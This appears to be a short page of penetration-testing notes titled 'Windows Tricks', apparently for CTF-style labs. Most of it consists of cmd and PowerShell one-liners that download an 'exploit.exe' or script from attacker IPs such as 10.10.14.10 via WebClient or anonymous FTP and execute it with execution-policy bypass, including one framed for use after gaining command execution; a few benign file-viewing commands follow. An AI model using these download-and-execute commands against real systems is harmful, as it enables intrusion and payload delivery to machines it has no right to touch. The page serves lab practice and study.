Windows Tricks
Download a file using CMD using Powershell
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://10.10.14.10/chimichurri.exe" >>wget.ps1
echo $file = "exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1Transfer Files using FTP
echo open 10.10.14.8 >> $FILE_NAME & echo asdf >> $FILE_NAME & echo USER anonymous >> $FILE_NAME & echo PASS password >> $FILE_NAME & echo get exploit.exe >> $FILE_NAME & echo bye >> $FILE_NAME
ftp -ns:$FILE_NAMEIf you get a CMD RCE use this to make a PS1 file that can download other files.
cmd.exe /c "@echo open 10.10.14.8>script.txt&@echo anonymous>>script.txt&@echo password>>script.txt&@echo get script.ps1>>script.txt&@echo bye>>script.txt&@ftp -ns:script.txt&@powershell.exe -File script.ps1"Show hidden files
attrib -s -h -r /s /d *.*Show files from alternate data sources
dir /RView files from the alternate source
more < $FILE_PATHRunas command
Use found credentials to run commands as user
Download a file using PowerShell
Import a module from a different location
Last updated
Was this helpful?